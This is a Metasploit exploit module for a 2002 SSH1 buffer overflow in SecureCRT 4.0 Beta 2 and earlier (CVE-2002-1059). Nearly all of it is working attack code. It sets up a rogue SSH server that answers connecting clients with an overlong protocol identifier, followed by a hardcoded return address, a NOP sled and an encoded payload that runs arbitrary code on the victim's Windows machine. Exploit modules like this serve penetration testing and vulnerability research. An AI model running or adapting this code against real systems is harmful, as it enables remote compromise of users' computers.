SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in SecureCRT <= 4.0  
Beta 2. By sending a vulnerable client an overly long  
SSH1 protocol identifier string, it is possible to execute  
arbitrary code.  
  
This module has only been tested on SecureCRT 3.4.4.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2002-1059' ],  
[ 'OSVDB', '4991' ],  
[ 'BID', '5287' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00",  
'MaxNops' => 0,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jul 23 2002',  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)   
  
buffer = "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)  
buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded  
  
print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")  
  
client.put(buffer)  
handler  
  
service.close_client(client)  
end  
  
end  
`